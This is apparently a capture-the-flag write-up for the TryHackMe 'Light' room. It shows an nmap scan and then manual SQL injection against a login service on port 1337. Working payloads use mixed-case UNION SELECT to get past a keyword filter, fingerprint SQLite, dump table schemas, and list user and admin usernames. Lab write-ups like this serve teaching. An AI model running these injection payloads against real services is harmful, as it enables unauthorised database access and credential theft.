Light

Enumeration

Nmap Scan

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol
| ssh-hostkey:
|   3072 61:c5:06:f2:4a:20:5b:cd:09:4d:72:b0:a5:aa:ce:71 (RSA)
|   256 51:e0:5f:fa:81:64:d3:d9:26:24:16:ca:45:94:c2:00 (ECDSA)
|_  256 77:e1:36:3b:95:9d:e0:3e:0a:56:82:b2:9d:4c:fe:1a (ED25519)

1337/tcp open  waste?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, NULL, RPCCheck,
|     Welcome to the Light database!
|     Please enter your username:
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPReq
|     Welcome to the Light database!
|     Please enter your username: Username not found.
|_    Please enter your username:
1 service unrecognized despite returning data. If you know the service/version, p
SF-Port1337-TCP:V=7.94SVN%I=7%D=1/21%Time=678F55C5%P=x86_64-pc-lin
SF:(NULL,3B,"Welcome\x20to\x20the\x20Light\x20database!\nPlease\x20enter\
SF:20your\x20username:\x20")%r(GenericLines,6B,"Welcome\x20to\x20the\x20
SF:ght\x20database!\nPlease\x20enter\x20your\x20username:\x20Username\x2
SF:ot\x20found\.\nPlease\x20enter\x20your\x20username:\x20")%r(GetRequest
SF:6B,"Welcome\x20to\x20the\x20Light\x20database!\nPlease\x20enter\x20you
```

```
SF:\x20username:\x20Username\x20not\x20found\.\nPlease\x20enter\x20your\
SF:0username:\x20")
```

Working

```
┌──(kali㉿kali)-[~/Desktop/THM/Light]
└─$ nc light.thm 1337
Welcome to the Light database!
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
```

The password returned is the same so it is not randomly generated.

```
┌──(kali㉿kali)-[~/Desktop/THM/Light]
└─$ nc light.thm 1337
Welcome to the Light database!
Please enter your username: '
Error: unrecognized token: "'' LIMIT 30"
```

The query is roughly like this:

```
SELECT * FROM user_table WHERE username = '<user_input>' LIMIT 30;
```

```
Please enter your username: ; UNION SELECT *
Ahh there is a word in there I don't like :(
Please enter your username: UNION
Ahh there is a word in there I don't like :(
```

```
Please enter your username: ' UnIoN SeleCt 1 #
```

```
Error: unrecognized token: "#"
```

```
Please enter your username: ' UNiON SelEcT 1 '
Password: 1
Please enter your username: 'UNiON SeleCt 1,2 '
Error: SELECTs to the left and right of UNION do not have the same number of re
```

So only 1 column is returned

```
Please enter your username: ' UnIOn SeleCT database() '
Error: no such function: database
Please enter your username: ' UnIoN SeleCT @@version '
Error: unrecognized token: "@"
Please enter your username: ' UnIoN SeleCT version() '
Error: no such function: version
Please enter your username: ' UnIoN SelecT sqlite_version() '
Password: 3.31.1S
```

So it is SQLite database (Light ⇒ Lite)

```
Please enter your username: ' UnIOn SeleCT group_concat(tbl_name) FROM sqli
Error: near "'": syntax error
```

For this error, using `;` after each statement will help

```
Please enter your username: ' UnIOn SeleCT group_concat(tbl_name); FROM sql
Error: no such column: tbl_name
```

```
Please enter your username: ' UnIoN SeleCT sql FROM sqlite_master '
Password: CREATE TABLE admintable (
                id INTEGER PRIMARY KEY,
```

```
                username TEXT,
                password INTEGER)
```

```
Please enter your username: ' UnIoN SeleCT group_concat(sql) FROM sqlite_mas
Password: CREATE TABLE usertable (
                id INTEGER PRIMARY KEY,
                username TEXT,
                password INTEGER),CREATE TABLE admintable (
                id INTEGER PRIMARY KEY,
                username TEXT,
                password INTEGER)
```

There are two table: usertable and admintable.

```
Please enter your username: ' UnIoN selECT group_concat(username) from user
Password: alice,rob,john,michael,smokey,hazel,ralph,steve
```

```
Please enter your username: ' UnIOn SeleCT group_concat(username) from adm
Password: TryHackMeAdmin,flag
```